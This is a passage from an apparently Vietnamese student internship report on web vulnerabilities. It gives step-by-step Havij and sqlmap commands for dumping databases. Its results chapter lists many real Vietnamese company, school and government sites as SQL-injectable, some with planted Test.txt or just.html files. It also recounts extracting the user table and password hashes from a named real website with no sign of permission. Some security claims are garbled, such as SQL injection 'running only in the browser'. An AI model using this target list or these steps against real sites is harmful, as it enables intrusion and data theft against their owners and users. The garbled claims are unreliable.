Bước 3: vunerability web application thấy request này có session id hợp lệ
nên sẽ thực thi hành động được ghi trong request
Như vậy Hacker đã có thứ hắn muốn đó chính là hành động được ghi trong
request được thực hiện bởi vunerability web application nhân danh nạn nhân
5.3.4 Cách phòng chống và bảo mật
Đối với người sử dụng internet
Nên thoát khỏi các website quan trọng: Tài khoản ngân hàng, thanh toán
trực tuyến, các mạng xã hội, gmail, yahoo… khi đã thực hiện xong giao dịch
hay các công việc cần làm. (Check email, checking…).
Không nên click vào các đường dẫn mà bạn nhận được qua email, qua
facebook … Khi bạn đưa chuột qua 1 đường dẫn, phía dưới bên trái của trình
duyệt thường có địa chỉ website đích, bạn nên lưu ý để đến đúng trang mình
muốn.
Không lưu các thông tin về mật khẩu tại trình duyệt của mình (không nên
chọn các phương thức “đăng nhập lần sau”, “lưu mật khẩu”.
Trong quá trình thực hiện giao dịch hay vào các website quan trọng không
nên vào các website khác, có thể chứa các mã khai thác của kẻ tấn công.
Đối với web server
- Hạn chế thời gian hiệu lực của SESSION
- Lựa chọn việc sử dụng GET VÀ POST
- Chèn thêm bước xác nhận trung gian trước khi thực hiện các thao tác nhạy
cảm: có thể là yêu cầu user nhập lại password để xác nhận thao tác của
mình trước khi thực hiện hoặc sử dụng captcha để xác nhận, hay có thông
báo xác nhận
- Phương pháp đơn giản là chèn thêm token vào đường link thực hiện thao
tác. Giá trị token này phải mạnh, khó đoán, thường là hash của session ID
của user kết hợp với password, IP của user, thời điểm đăng nhập,…Mục
đích của token là làm cho hacker không thể xác định được chính xác
đường link thực hiện thao tác
- Sử dụng cookie riêng biệt cho trang quản trị
- Kiểm tra REFERRER
- Kiểm tra IP
5.4 Một số lỗ hổng khác nổi bật hiện nay
5.4.1 Lỗi Heartbleed
Heartbleed là một lỗ hỏng nguy hiểm của OpenSSL mới được công bố cho
phép hacker có thể từ xa đọc được dữ liệu trên máy chủ có cài đặt OpenSSL
phiên bản 1.0.1 đến 1.0.1.f OpenSSL là một thư viện mã hóa, được sử dụng cho
mã hóa dữ liệu trao đổi giữa máy chủ và client. Các máy chủ sử dụng OpenSSL
như các máy chủ web chạy apache hoặc ngix, các máy chủ email, VPN, Instant
Message,...
Khi khai thác được lỗ hổng Heartbleed, hacker có thể lấy được private key
của server, sử dụng để mã hóa các dữ liệu trao đổi giữa server và client. Từ đó
hacker có thể đọc được toàn bộ thông tin được trao đổi giữa client và server như
chưa hề được mã hóa (plain text). Có thể nói như hacker có thể đọc được
username, password,.. ở dạng plain text. Như vậy, mục tiêu của hacker là các site
thanh toán trực tuyến như: ngân hàng điện tử, chứng khoán điện tử, thương mai
điện tử,.. Ngoài ra, các mail server và một số dịch vụ sử dụng Open SSL cũng có
thể là mục tiêu mà hacker khai thác.
Cách phòng chống lỗi Heartbleed là kiểm tra phiên bản OpenSSL hiện tại và
cập nhật phiên bản OpenSSL. Với các giao dịch điện tử, tốt nhất là nên sử dụng
one-time password có giới hạn thời gian sử dụng ngắn.
5.4.2 Khai thác qua Phishing
Phishing là một hình thức gian lận để có những thông tin nhạy cảm như
username, password, credit card … bằng cách giả mạo như là một thực thể đáng
tin cậy trong các giao tiếp trên mạng. Quá trình giao tiếp thường diễn ra tại các
trang mạng xã hội nổi tiếng, các trang web đấu giá, mua bán hàng online…mà đa
số người dùng đều không cảnh giác với nó. Phishing sử dụng email hoặc tin nhắn
tức thời, gửi đến người dùng, yêu cầu họ cung cấp thông tin cần thiết. Người
dùng vì sự chủ quan của mình đã cung cấp thông tin cho một trang web, trông thì
có vẽ hợp pháp, nhưng lại là trang web giả mạo do các hacker lập nên.
Phishing là một ví dụ của Social Engineering được sử dụng để lừa đảo người
dùng và khai thác lổ hổng trong việc sử dụng công nghệ kém an ninh của các
website hiện hành. Những nỗ lực mạnh mẽ trong thời gian qua để chống lại
Phising bao gồm việc ứng dụng các công nghệ an ninh mới đến việc đào tạo cho
nhân viên, và nâng cao ý thức cộng đồng
Những yếu tố tuy đơn giản nhưng đã góp phần để một cuộc tấn công Phishing
thành công như: Sự thiếu hiểu biết, nghệ thuật đánh lừa ảo giác, không chú ý đến
những chỉ tiêu an toàn. Do cách tấn công đơn giản nhưng lại hiệu quả cao nên
phishing nhanh chóng trở thành một trong những kiểu lừa dảo phổ biến nhất trên
mạng – có đến gần 70% các vụ tấn công trên mạng năm 2003 có liên quan đến
phishing
Cách phòng chống tấn công Phishing hiện nay là sử dụng một số tool như:
PhishTank SiteChecker, SpoofGuard, Netcraft Tool
6. Một số Tool Khai thác lỗ hổng bảo mật Web Application
6.1 Havij
6.1.1 Giới thiệu
Havij là một công cụ SQL Injection tự động giúp kiểm tra thâm nhập để tìm
và khai thác lỗ hổng SQL Injection trên một trang web. Nó có thể tận dụng lợi thế
của một ứng dụng web dễ bị tổn thương. Bằng cách sử dụng phần mềm này,
người dùng có thể thực hiện back-end cơ sở dữ liệu, lấy tên đăng nhập Database
Manager Systems và hash mật khẩu, bảng và cột, lấy dữ liệu từ cơ sở dữ liệu,
thực hiện các câu lệnh SQL đối với máy chủ, và thậm chí truy cập hệ thống tập
tin cơ bản và thực hiện lệnh shell trên hệ điều hành. Sức mạnh đặc biệt của Havij
để phân biệt nó với các công cụ tương tự nằm trong phương pháp độc đáo là các
phương pháp tiêm kích mới
6.1.2 Đặc điểm
- Loại bỏ tất cả CSDL mà nó phát hiện
- Các phương pháp bypass SQL mới và hiệu quả
- Tính năng ghi lại đặc điểm tập tin MSSQL và MySQL
- Load mã HTML vào form Input
- Lưu dữ liệu tìm được ở dạng CVS
- Đa dạng các phương thức Injection
6.1.3 Cách sử dụng
Bước 1: Đầu tiên tải về Havij SQL Injection và cài đặt
Bước 2: Chạy phần mềm Havij SQL Injection và sao chép và dán liên kết trang
web muốn tấn công vào mục Target
Bước 3: Bây giờ hãy nhấp vào nút "Analyse"
Bước 4: Sau đó, nó cho thấy một số thông điệp tìm được. Là cảnh báo về nó và
phải hiển thị kiên nhẫn cho đôi khi tìm thấy nó vulernable và loại tiêm và nếu
máy chủ db mysql và nó sẽ tìm thấy cơ sở dữ liệu tên.Sau đó sau khi nhận được
cơ sở dữ liệu của nó là tên là …
Bước 5: Sau đó di chuyển đến tab Table để tìm bảng bằng. Bây giờ bấm "Nhận
được bảng" sau đó chờ đợi một thời gian nếu cần thiết
Bước 6: Sau khi nhận được các bảng, tìm đến tên các bảng muốn khai thác thông
tin và đánh dấu vào đó, sau đó chuyển sang Tab Get Column để lấy danh sách các
cột trong bảng
Bước 7: Tiếp theo chuyển sang Tab Get Data để lấy CSDL trong các cột của
bảng
Bước 8: Cuối cùng, bạn đã có thông tin của admin hay user, bây giờ tìm trang
đăng nhập của admin hay cùa cơ sở dữ liệu và tiến hành đăng nhập.
Hình 27. Giao diện làm việc của Havij
6.2 Sqlmap
6.2.1 Giới thiệu
Sqlmap là một công cụ kiểm tra xâm nhập bằng mã nguồn mở, nó tự động quá
trình phát hiện và khai thác lỗ hổng SQL Injection và vượt qua sự kiểm tra của
các máy chủ cơ sở dữ liệu. Nó đi kèm với một bộ máy phát hiện mạnh mẽ, nhiều
tính năng thích hợp cho các thử nghiệm xâm nhậpcuối cùng và một loạt các thiết
bị chuyển mạch kéo dài đến cơ sở dữ liệu. Để truy cập vào hệ thống tập tin cơ
bản và thực hiện lệnh trên hệ điều hành thông qua các kết nói ra ngoài.
6.2.2 Đặc điểm
- Hỗ trợ đầy đủ các cơ sở dữ liệu như ỗ trợ đầy đủ cho MySQL , Oracle,
PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite,
Firebird , Sybase và hệ thống quản lý cơ sở dữ liệu SAP MaxDB .
- Hỗ trợ đầy đủ cho sáu kỹ thuật khai thác lỗi SQL injection như : boolean-
based blind, timebased blind, error-based, UNION query, stacked queries and
out-of-band.
- Hỗ trợ kết nối trực tiếp đến cơ sở dữ liệu mà không cần đi qua một SQL
injection , bằng cách cung cấp thông tin Database Management Systems, địa chỉ
IP, cổng và tên cơ sở dữ liệu
- Hỗ trợ để liệt kê người dùng, các hash mật khẩu , đặc quyền , vai trò, cơ sở dữ
liệu , bảng và cột.
- Tự động nhận dạng các định dạng băm mật khẩu và hỗ trợ cho việc bẻ khóa
chúng bằng một cuộc tấn công dựa trên từ điển
- Hỗ trợ để loại bỏ bảng cơ sở dữ liệu hoàn toàn , một loạt các mục hoặc cột cụ
thể theo sự lựa chọn của người dùng. Người sử dụng cũng có thể chọn để lọai bỏ
chỉ là một loạt các đối tượng nhập ở mỗi cột.
- Hỗ trợ để tìm kiếm tên cơ sở dữ liệu cụ thể, bảng cụ thể trên tất cả các cơ sở dữ
liệu hoặc cột cụ thể trên tất cả các bảng cơ sở dữ liệu .
- Hỗ trợ để tải về và tải lên bất kỳ tập tin từ hệ thống tập tin máy chủ cơ sở dữ
liệu cơ bản khi các phần mềm cơ sở dữ liệu là MySQL, PostgreSQL hoặc
Microsoft SQL Server .
- Hỗ trợ để thực hiện các lệnh tùy ý và lấy đầu ra tiêu chuẩn của họ trên hệ điều
hành máy chủ cơ sở dữ liệu cơ bản khi các phần mềm cơ sở dữ liệu là MySQL,
PostgreSQL hoặc Microsoft SQL Server
- Hỗ trợ để thiết lập một kết nối TCP trạng thái out-of -band giữa các máy tính
tấn công và máy chủ cơ sở dữ liệu chạy dưới hệ điều hành cơ bản . Kênh này có
thể là một dấu nhắc lệnh tương tác , một phiên Meterpreter hoặc một giao diện
người dùng đồ họa (VNC ) phiên theo sự lựa chọn của người dùng.
- Hỗ trợ cho quá trình người sử dụng leo thang đặc quyền về cơ sở dữ liệu thông
qua lệnh getsystem Meterpreter Metasploit
6.2.3 Cách sử dụng
Bạn download Sqlmap tại http://sqlmap.org/ Sqlmap được viết bằng ngôn ngữ
Python, vì vậy để sử dụng tool này bạn cần cài đặt Python.
Bạn có thể download python tại http://www.python.org/downloads/
Để thực hiện tấn công bạn làm như sau
Bước 1: Mở cmd và gõ lệnh dưới đây để sqlmap sẽ phát hiện lỗ hổng của mục
tiêu vào đưa ra thông tin về lỗ hổng.
python sqlmap.py –u “http://tenwebsite.../....php?id=1”
Bước 2: Khi đã xác định được là website mục tiêu tồn tại lỗ hổng SQL injection,
ta tiến hành tìm tên cơ sở dữ liệu.
python sqlmap.py –u “http://tenwebsite.../....php?id=1” --dbs
Bước 3: Sau khi xác định được tên cơ sở dữ liệu, ta sẽ tìm tiếp tên các bảng có
trong cơ sở dữ liệu.
python sqlmap.py –u “http://tenwebsite.../....php?id=1” --tables –D
tenCSDLvuatimduoc
Bước 4: Xác định tên các cột trong bảng
python sqlmap.py –u “http://tenwebsite.../....php?id=1” --columns –D
tenCSDLvuatimduoc –T tenbangvuatimduoc
Bước 5: Lấy thông tin dữ liệu từ bảng và cột
python sqlmap.py –u “http://tenwebsite.../....php?id=1” --dump –D
tenCSDLvuatimduoc –T tenbangvuatimduoc
Bước 6: Tìm trang đăng nhập của admin hay trang quan lý CSDL và tiến hành
đăng nhập.
Hình 28: Giao diện làm việc của Sqlmap
7. Nguy hiểm và mối đe dọa từ các lỗ hổng bảo mật Web Application
7.1 Từ lỗi SQL Injection
- Các cuộc tấn công SQL Injection cho phép kẻ tấn công chiếm quyền điều khiển
ứng dụng, cơ sở dữ liệu của hệ thống, giả mạo danh tính, sửa đổi, xáo trộn dữ
liệu, thay đổi & phơi bày dữ liệu, ăn cắp, thêm xóa dữ liệu.
- Ngoài ra tấn công SQL Injection còn có thề ăn cắp cookies, mật khẩu, cướp
session làm việc, cài các loại virus, trojan, backdoor trên máy tính nạn nhân.
Deface website. Tuy nhiên nó chỉ chạy trên trình duyệt phía client và chỉ tấn
công vào bề mặt website, không làm thay đổi cấu trúc mã nguồn, cơ sở dữ liệu
của website trên server
- SQL Injection là kiểu tấn công rất phổ biến với Web sử dụng PHP và ASPdo sự
phổ biến của các giao diện chức năng cũ. Do tính chất của giao diện chương
trình có sẵn, J2EE hay các ứng dụng ASP.NET ít có khả năng bị SQL khai thác.
Mức độ nghiêm trọng của các cuộc tấn công SQL Injection phụ thuộc vào kỹ
năng và trình độ của kẻ tấn công.
Hình 29. Thống kê mối nguy hiểm từ tấn công SQL Injection theo EC – Council
7.2 Từ lỗi Cross Site Scripting (XSS)
- Ăn cắp cookies, mật khẩu, cướp session làm việc
- Cài các loại virus, trojan, backdoor trên máy tính nạn nhân
- Deface website. Tuy nhiên nó chỉ chạy trên trình duyệt phía client và chỉ tấn
công vào bề mặt website, không làm thay đổi cấu trúc mã nguồn, cơ sở dữ liệu của
website trên server.
7.3 Lỗi Cross-site Request Forgery (CSRF)
- Đạt được những hành động (menthod) theo ý muốn từ những Request mà nạn
nhân vô tình tạo ra như thực hiện một số tác vụ lên ứng dụng web đó là xóa bài, thêm
người dùng, thay đổi email, thay đổi mật khẩu của victim.
- Cài các loại virus, trojan, backdoor trên máy tính victim
- Chiếm quyền điều khiển Website nếu nạn nhân bị lừa chính là Admin.
CHƯƠNG III – KẾT QUẢ THỰC TẬP
1. Khảo sát danh sách một số Web Application có lỗi bảo mật
Danh sách các website bị lỗi bảo mật ở Việt Nam
 http://duhocannong.com/index.html
 http://minhnhattelecom.com/index.php
 http://hongminhna.com/index.html
 http://quangcaothanhvinh.com/index.php
 http://chongthamnghean.com/index.php
 http://www.chongthamcongtrinh.com/index.php
 http://congnghethuysan.vn/index.php
 http://www.vhttdlnguyendu.edu.vn/
 http://www.ngheanservices.com/index.php
 http://www.hondaotovinh.com.vn/index.php
 http://www.luatnghean.com/index.php
 http://www.ubndhyenthanh.nghean.vn/index.htm
 http://www.tieudungnghean.com/index.htm
 http://thucphamvang.com.vn/index.htm
 http://www.artmediavn.com/index.htm
 http://www.thienvietstar.com.vn/index.php
 http://www.trunghainastone.com.vn/index.php
 http://quangcaonghean.com/index.php
 http://www.quangcaonghean.com.vn/index.php
 http://www.vnthanhlong.vn/
 http://www.kqldb4.gov.vn/index.asp
 http://truong4bqp.edu.vn/index.php
 http://nongtruong1-5nghean.com/index.htm
 http://www.vesynhathoangnghean.com/index.php
 http://www.vilaconic.com/index.php
 http://www.thuexenghean.com/index.php
 http://www.gavinh.com.vn/index.php
 http://www.eoffice.kqldb4.gov.vn/index.php
 http://service.kqldb4.gov.vn/index.php
 http://www.nghiloc.gov.vn/home.php
 http://www.ductho.edu.vn/index.asp
 http://viet-power.com.vn/userfiles/Test.txt
 http://www.thethien.com.vn/upload/Test.txt
 http://ethink.vn/vantindat/images/Test.txt
 http://www.shresource.com/manager/fckeditor/editor/filemanager/connectors/
aspx/UploadImg/Test.txt
 http://pham.cmg.vn/images/news/noidung/Test.txt
 http://www.rubbergroup.vn/media/ftp/Test.txt
 http://tuyendungtructiep.vn/restaurant/upload/Test.txt
 http://www.vitcorp.vn/uploads/Test.txt
 http://phongcachla.vn/public/fckeditor/editor/filemanager/connectors/php/tem
p/Test.txt
 http://queenshop.vn/upload/Test.txt
 http://www.danhbacongtybaove.vn/uploads/userfiles/Test.txt
 http://quangtrung.edu.vn/portal/page/admin/fckeditor/editor/filemanager/conn
ectors/php/userfiles/Test.txt
 http://www.doanhduc.vn/upload/Test.txt
 http://ketnoigiaovien.vn/userfiles/Test.txt
 http://www.vietthailtd.vn/images/upload/Test.txt
 http://www.xaxa.vn/upload/images/Test.txt
 http://www.happydaystravel.com.vn/assets/images/Test.txt
 http://hoi.noi.vn/UserFiles/Test.txt
 http://sieuthimuaban.com.vn/vantindat/images/Test.txt
 http://hyundaihue.com.vn/upload/Test.txt
 http://nobita.vn/vantindat/images/Test.txt
 http://collagenvn.vn/Test.txt
 http://vuongquoc.com.vn/Test.txt
 http://vpc.com.vn/Test.txt
 http://vimluki.com.vn/Test.txt
 http://thepmienbac.com.vn/Test.txt
 http://tedi-reco.com.vn/Test.txt
 http://terumo.com.vn/Test.txt
 http://revn.vn/Test.txt
 http://phongsonwm.com.vn/Test.txt
 http://pca.com.vn/Test.txt
 http://passanitivietnam.com.vn/Test.txt
 http://npfc.vn/Test.txt
 http://namvang.com.vn/Test.txt
 http://merida-bikes.com.vn/Test.txt
 http://manhdanceramic.com.vn/Test.txt
 http://hoanglong-intl.com.vn/Test.txt
 http://hdsurvey.com.vn/Test.txt
 http://forum.tedi-reco.com.vn/Test.txt
 http://dungcucat.com.vn/Test.txt
 http://daihuu.com.vn/Test.txt
 http://collagenvn.vn/Test.txt
 http://ccic.com.vn/Test.txt
 http://adongcompany.vn/Test.txt
 http://www.vietthailtd.vn/images/upload/just.htm
 http://ethink.vn/vantindat/images/Just.html
 http://www.xaxa.vn/upload/images/just.html
 http://hoi.noi.vn/UserFiles/just.html
 http://collagenvn.vn/just.html
 http://vuongquoc.com.vn/just.html
 http://vpc.com.vn/just.html
 http://vimluki.com.vn/just.html
 http://thepmienbac.com.vn/just.html
 http://tedi-reco.com.vn/Just.html
 http://terumo.com.vn/Just.html
 http://revn.vn/Just.html
 http://phongsonwm.com.vn/Just.html
 http://pca.com.vn/Just.html
 http://passanitivietnam.com.vn/Just.html
 http://npfc.vn/Just.html
 http://namvang.com.vn/Just.html
 http://merida-bikes.com.vn/Just.html
 http://manhdanceramic.com.vn/Just.html
 http://hoanglong-intl.com.vn/Just.html
 http://hdsurvey.com.vn/Just.html
 http://forum.tedi-reco.com.vn/Just.html
 http://dungcucat.com.vn/just.html
 http://daihuu.com.vn/Just.html
 http://collagenvn.vn/Just.html
 http://ccic.com.vn/Just.html
 http://adongcompany.vn/Just.html
Hình 30. Các site bị lỗi SQL injection được quét bằng Maxisploit
2. Khai thác và tấn công một số Web Application có lỗi bảo mật
Ta thử tấn công website http://www.michaelwoodband.com, trang này bị lỗi SQL
injection.
Bước 1: Kiểm tra thử site có bị lỗi SQL injection không bằng cách thêm các tự đặc
biệt vào sau đường link, ở đây ta thêm dầu nháy vào sau Id=1.
Bước 2: Kiểm tra số lượng các cột mà câu lệnh select trả về bằng việc thêm chuỗi order
by 3 sau id=1
Bước 3: Xác định database và version của database mà website sử dụng
Đây là tên database và version của database.
Bước 4: Xác định các bảng trong database của web site
Các bảng của database
Ta nên chú ý đến các bảng liên quan đến user của database, ở đây là bảng poll_user
Bước 5: Xác định các cột trong một bảng, ở đây xác định các cột trong bảng poll_user
Các cột trong bảng poll_user
Bước 6: Từ tên các cột được lấy về, ta xác định các giá trị trong bảng poll_user
Các giá trị nhận được trong bảng poll_user, trong đó giá trị userpass đã được băm bằng
MD5.
Ngoài việc lấy các giá trị trong bảng poll_user, ta cũng có thể lấy gía trị trong các bảng
khác.
3. Đưa ra giải pháp khắc phục, phòng chống và bảo mật cụ thể.
Để khắc phục lỗi SQL injection mà website bị lỗi, thì khi lập trình chúng ta phải
kiểm soát chặt chẽ các dữ liệu input nhập vào, loại bỏ các kí tự mà liên quan đến tấn
công SQL injection như: dâu nháy, từ khóa select,union, database,
group_concat,table,column,...
Dùng các công cụ để bảo vệ web server như IPS/IDS, giúp nhận biết là dữ liệu vào
ra, loại bỏ các luồng dữ liệu có khả nghi là dấu hiệu của cuộc tấn công SQL injection
hay các cuộc tấn công khác.
CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT
1. Đối với Sinh viên thực tập
Sinh viên cần chủ động, sáng tạo hơn trong quá trình thực tập, tự giác chấp hành
các quy định cùa cơ quan thực tập cũng như nhà trường.
Sinh viên cần cố gắng quan sát, lắng nghe và đúc kết các kinh nghiệm thực tiễn
tìm được hay từ phía doanh nghiệp truyền đạt.
Sinh viên cần hòa đồng, vui vẻ và giao lưu nhiều hơn trong môi trường làm việc
của doanh nghiệp, tạo cái nhìn thiện cảm và xây dựng các mối quan hệ tốt để phục
vụ cho tương lai sau này
Sinh viên cần chuẩn bị sức khỏe cà tâm lý thoải mái trước khi bước vào môi
trường thực tập.
2. Đối với Doanh nghiệp thực tập
Doanh nghiệp cần có cơ sở vật chất và tác phong làm việc chuyên nghiệp hơn,
quy trình nhận và hỗ trợ sinh viên thực tập khắt khe hơn nhắm giúp sinh viên có tính
kỷ luật, sự tự tin, tôn trọng và yêu mến doanh nghiệp hơn.
Doanh nghiệp cần lắng nghe ý kiến, nguyện vọng của sinh viên cũng như nhà
trường, có các chính sách đãi ngộ và hỗ trợ sinh viên thực tập, cần tổ chức nhiều
chương trình giao lưu, hoạt động ngoại kháo để sinh viên có cảm giác hòa nhập hơn.
Doanh nghiệp cần có lộ trình và nội dung thực tập cụ thể, chi tiết, có cung cấp
các tài liệu và cán bộ hỗ trợ kịp thời cho sinh viên khi có sinh viên có nhu cầu. Sau
khi thực tập xong cần có nhận sét đánh giá khách quan về quá trình thực tập của sinh
viên, đồng thời có thể giới thiệu việc làm sau khi thực tập.
3. Đối với Nhà trường
Để có được kỳ thực tập doanh nghiệp thành công, phía nhà trường cần quan tâm
và chú trọng hơn về tầm quan trọng của việc thực tập doanh nghiệp. Thực tập không
chỉ hữu ích cho sinh viên mà cò nâng cao chất lượng đầu ra của nhà trường, giúp nhà
trường có những mối quan hệ tốt với doanh nghiệp.
Dựa trên tình hình thực tập của sinh viên nhà trường có thể điều chỉnh kế hoạch,
phương hướng chỉ đạo thực tập cho hợp lý, việc duy trì liên hệ với các doanh nghiệp
phải thường xuyên hơn. Sau khi thực tập thì nên có chương trình giới thiệu hay hỗ
trợ việc làm.
Nhà trường cần xem xét nội dung thực tập của sinh viên có quan hệ mật thiết với
nội dung được học trên nhà trường hay không, chú ý xem những kiến thức từ thực
tập và kiến thức sinh viên học được có liên quan với nhau không ? từ đó có thể điều
chỉnh được kế hoạch đào tạo của nhà trường. Tránh tình trạng để sinh viên tự lực
cánh sinh, thực tập lan man, không có ai quản lý, giám sát.
Từng học kỳ, từng đợt hay từng năm nhà trường cần tiến hành khảo sát về nhu
cầu, ý kiến phản hồi, tâm tư nguyện vọng của sinh viên và doanh nghiệp để kịp điều
chỉnh kế hoạch thực tập cho phù hợp
CHƯƠNG V – TÀI LIỆU THAM KHẢO
[1] Certified Ethical Hacker (CEH) v.8
[2] http://hvaonline.net/
[3] http://forum.whitehat.vn
[4] http://ceh.vn/
[4] http://athena.edu.vn/
[5] https://www.owasp.org
[6] http://sinhvienit.net
[7] http://vn-zoom.com/
[8] http://nhatnghe.com/forum
[9] http://vnpro.org/forum/
[10] CISSP - Certified Information Systems Security Professional Study Guide, Third
Edition, James Michael Stewart Ed Tittel Mike Chapple
[11] International Standard ISO-IEC 27002

More Related Content

What's hot

Bài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITBài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITNguynMinh294
 
Sql injection demo - it-slideshares.blogspot.com
Sql injection   demo - it-slideshares.blogspot.comSql injection   demo - it-slideshares.blogspot.com
Sql injection demo - it-slideshares.blogspot.comphanleson
 
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...Viết thuê trọn gói ZALO 0934573149
 
XSS & SQL injection
XSS & SQL injectionXSS & SQL injection
XSS & SQL injectionThieu Mao
 
Báo cáo SQL injecttion
Báo cáo SQL injecttionBáo cáo SQL injecttion
Báo cáo SQL injecttionDuy Nguyenduc
 
Đồ án kiểm thử phần mềm
Đồ án kiểm thử phần mềmĐồ án kiểm thử phần mềm
Đồ án kiểm thử phần mềmNguyễn Anh
 
Bài giảng bảo mật hệ thống thông tin
Bài giảng bảo mật hệ thống thông tinBài giảng bảo mật hệ thống thông tin
Bài giảng bảo mật hệ thống thông tinTran Tien
 
Tổng quan về DoS - DDoS - DRDoS
Tổng quan về DoS - DDoS - DRDoSTổng quan về DoS - DDoS - DRDoS
Tổng quan về DoS - DDoS - DRDoSThieu Mao
 
Tổng quan về an toàn và bảo mật thông tin
Tổng quan về an toàn và bảo mật thông tinTổng quan về an toàn và bảo mật thông tin
Tổng quan về an toàn và bảo mật thông tinNguyen Thi Lan Phuong
 
Kịch bản demo phát hiện xâm nhập sử dụng snort ids
Kịch bản demo phát hiện xâm nhập sử dụng snort idsKịch bản demo phát hiện xâm nhập sử dụng snort ids
Kịch bản demo phát hiện xâm nhập sử dụng snort idsLinh Hoang
 
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...Thịt Xốt Cà Chua
 
Cơ sở dữ liệu phân tán - phạm thế quế
Cơ sở dữ liệu phân tán - phạm thế quếCơ sở dữ liệu phân tán - phạm thế quế
Cơ sở dữ liệu phân tán - phạm thế quếTran Tien
 
Bài gảng cơ sở an toàn thông tin PTIT
Bài gảng cơ sở an toàn thông tin PTITBài gảng cơ sở an toàn thông tin PTIT
Bài gảng cơ sở an toàn thông tin PTITNguynMinh294
 
Bài 1 quy trình xử lý sự cố phần mềm
Bài 1   quy trình xử lý sự cố phần mềmBài 1   quy trình xử lý sự cố phần mềm
Bài 1 quy trình xử lý sự cố phần mềmMasterCode.vn
 
Bài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPT
Bài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPTBài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPT
Bài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPTMasterCode.vn
 

What's hot (20)

Bài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTITBài giảng kiểm thử xâm nhập PTIT
Bài giảng kiểm thử xâm nhập PTIT
 
Sql injection demo - it-slideshares.blogspot.com
Sql injection   demo - it-slideshares.blogspot.comSql injection   demo - it-slideshares.blogspot.com
Sql injection demo - it-slideshares.blogspot.com
 
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
Đề tài: Nghiên cứu Hệ thống Honeypots và Honeynet nhằm nghiên cứu một số kỹ t...
 
XSS & SQL injection
XSS & SQL injectionXSS & SQL injection
XSS & SQL injection
 
Báo cáo SQL injecttion
Báo cáo SQL injecttionBáo cáo SQL injecttion
Báo cáo SQL injecttion
 
Đồ án kiểm thử phần mềm
Đồ án kiểm thử phần mềmĐồ án kiểm thử phần mềm
Đồ án kiểm thử phần mềm
 
Phan1.3
Phan1.3Phan1.3
Phan1.3
 
Phân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đ
Phân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đPhân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đ
Phân tích tự động các website để phát hiện lỗ hổng tiêm nhiễm, 9đ
 
Bài giảng bảo mật hệ thống thông tin
Bài giảng bảo mật hệ thống thông tinBài giảng bảo mật hệ thống thông tin
Bài giảng bảo mật hệ thống thông tin
 
Tổng quan về DoS - DDoS - DRDoS
Tổng quan về DoS - DDoS - DRDoSTổng quan về DoS - DDoS - DRDoS
Tổng quan về DoS - DDoS - DRDoS
 
Báo cáo snort
Báo cáo snortBáo cáo snort
Báo cáo snort
 
Tấn Công DDOS
Tấn Công DDOSTấn Công DDOS
Tấn Công DDOS
 
Tổng quan về an toàn và bảo mật thông tin
Tổng quan về an toàn và bảo mật thông tinTổng quan về an toàn và bảo mật thông tin
Tổng quan về an toàn và bảo mật thông tin
 
Kịch bản demo phát hiện xâm nhập sử dụng snort ids
Kịch bản demo phát hiện xâm nhập sử dụng snort idsKịch bản demo phát hiện xâm nhập sử dụng snort ids
Kịch bản demo phát hiện xâm nhập sử dụng snort ids
 
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
Nghiên cứu một số hình thức tấn công website phổ biến và các giải pháp phòng ...
 
Cơ sở dữ liệu phân tán - phạm thế quế
Cơ sở dữ liệu phân tán - phạm thế quếCơ sở dữ liệu phân tán - phạm thế quế
Cơ sở dữ liệu phân tán - phạm thế quế
 
Bài gảng cơ sở an toàn thông tin PTIT
Bài gảng cơ sở an toàn thông tin PTITBài gảng cơ sở an toàn thông tin PTIT
Bài gảng cơ sở an toàn thông tin PTIT
 
Bài 1 quy trình xử lý sự cố phần mềm
Bài 1   quy trình xử lý sự cố phần mềmBài 1   quy trình xử lý sự cố phần mềm
Bài 1 quy trình xử lý sự cố phần mềm
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Bài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPT
Bài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPTBài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPT
Bài 3: Ngôn ngữ truy vân có cấu trúc (SQL) - Giáo trình FPT
 

Viewers also liked

tìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậttìm hiểu các lỗ hổng bảo mật
tìm hiểu các lỗ hổng bảo mậtanhkhoa2222
 
Báo Cáo Thực Tập Athena - SYSTEM HACKING - DƯƠNG ĐÌNH TÚ
